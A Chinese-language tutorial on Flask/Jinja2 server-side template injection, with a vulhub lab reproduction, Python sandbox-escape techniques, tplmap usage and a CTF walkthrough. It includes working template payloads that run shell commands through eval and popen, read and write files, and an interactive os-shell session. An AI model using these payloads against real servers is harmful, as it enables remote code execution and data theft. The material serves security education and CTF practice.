SSTI

一. 什么是SSTI

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

二. flask/ssti漏洞

flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)

1. flask

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。

Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

flask简单易学,下面代码是flask版的hello world

from flask import Flask		# 初始化
app = Flask(__name__) # 初始化
@app.route("/") # route装饰器 访问http://xxx.xx.xx时,使用hello函数进行处理响应
def hello():
return "Hello World!" if __name__ == "__main__":
app.run()

2. 模板

定义一个模板

<html>
<div>{$what}</div>
</html>

这只是一个模板,{$what}是数据。

我们可以使用相应的后端代码传入内容,得到新的html页面

3. Jinja2

a. 变量

Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

Hello, {{ name|capitalize }}

b. if&for语句

if语句简单示例

{% if user %}
Hello,{{user}} !
{% else %}
Hello,Stranger!
{% endif %}

for语句循环渲染一组元素

<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

三. 漏洞分析

1. 复现过程

使用 vulhub 提供的环境进行复现:

前端页面为:

源代码为:

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'guest') t = Template("Hello " + name)
return t.render() if __name__ == "__main__":
app.run()

2. 原因分析

t = Template("Hello " + name)这行代码表示,将输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:

3. 漏洞利用

使用官方提供的 poc 测试:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Jinja2使用沙盒模板执行环境

4. python沙盒逃逸

a. python相关知识

# __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
# __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
# __subclasses__():查看当前类的子类。
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ·····]
# __globals__以dict形式返回函数所在模块命名空间中的所有变量

b. 一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object //读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read() //写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123') //执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

构造payload执行ls命令:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

四. tplmap

tplmap

D:\T00LS\CLT\tplmap>python tplmap.py -u "http://10.10.10.200:8000/?name=asdf"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point: GET parameter: name // 说明可以注入,同时给出了详细信息
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities: Shell command execution: ok // 检验出这些利用方法对于目标环境是否可用
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code [+] Rerun tplmap providing one of the following options: //可以利用下面这些参数进行进一步的操作 --os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

五. CTF中的题目

题目提示此题为python模板注入,使用{{2*2}}进行测试

1. 手工方法

构建payload:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()") }}
{% endif %}
{% endfor %}

得到flag

2. 脚本

D:\T00LS\CLT\tplmap>python tplmap.py -u "http://111.198.29.45:46889/*" --os-shell
URL parameter: url
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux2
Technique: render
Capabilities: Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code [+] Run commands on the operating system.
posix-linux2 $ ls
fl4g
index.py
posix-linux2 $ cat fl4g
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
posix-linux2 $

参考文章

SSTI完全学习

flask ssti漏洞复现

SSTI(模板注入)的更多相关文章

  1. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  2. GYCTF Flaskapp[SSTI模板注入 ]

    题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...

  3. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  4. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  5. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  6. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  7. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  8. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  9. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

随机推荐

  1. eurekaAutoServiceRegistration 异常

    方案来自:https://github.com/spring-cloud/spring-cloud-netflix/issues/1952 解决办法: @Component public class ...

  2. Laravel中Homestead添加多站点时遇到问题

    Homestead做Laravel的开发还是很方便的,但是在添加多站点的时候,发现几个坑,来做个记录. 首先,官方文档给了修改homestead.yaml文件的方式,只需要在sites字节下添加一个新 ...

  3. 02、MyBatis XML配置

    MyBatis-全局配置文件 在MyBatis中全局配置文件有着重要的地位,里面有9类行为信息;如果我们要想将MyBatis运用的熟练,配置全局配置文件是必不可少的步骤,所以我们一定要啃下这一块硬骨头 ...

  4. MQ系列(1)——rabbitMQ简介

    前文我们学习了 MQ的相关知识,现在我们来学习一下实现了AMQP协议的 rabbitMQ 中间件.rabbitMQ 是使用 erlang 语言编写的中间件(erlang之父 19年4月去世的,很伟大一 ...

  5. 消息队列——Kafka基本使用及原理分析

    文章目录 一.什么是Kafka 二.Kafka的基本使用 1. 单机环境搭建及命令行的基本使用 2. 集群搭建 3. Java API的基本使用 三.Kafka原理浅析 1. topic和partit ...

  6. Zookeeper——Watcher原理详解

    文章目录 引言 正文 一.如何注册监听 二.如何触发监听事件 三.事件类型有哪些 四.Watcher可以被无限次触发么?为什么要这么设计? 五.Watcher实现原理 1. 客服端发送请求 a. 初始 ...

  7. java并发编程 --并发问题的根源及主要解决方法

    目录 并发问题的根源在哪 缓存导致的可见性 线程切换带来的原子性 编译器优化带来的有序性 主要解决办法 避免共享 Immutability(不变性) 管程及其他工具 并发问题的根源在哪 首先,我们要知 ...

  8. MySQL5.7.X 的下载和安装

    1 MySQL的下载 这里是mysql5.7.30的版本下载地址 https://dev.mysql.com/downloads/mysql/5.7.html#downloads 根据自己电脑选择合适 ...

  9. Android Studio出现:Cause: unable to find valid certification path to requested target问题解决

    Android Studio , Flutter , IDEA 工程报错 unable to find valid certification path to requested target 最新解 ...

  10. Vuex怎么用(1)

    1. vuex是什么 github站点: https://github.com/vuejs/vuex在线文档: https://vuex.vuejs.org/zh-cn/简单来说: 对应用中组件的状态 ...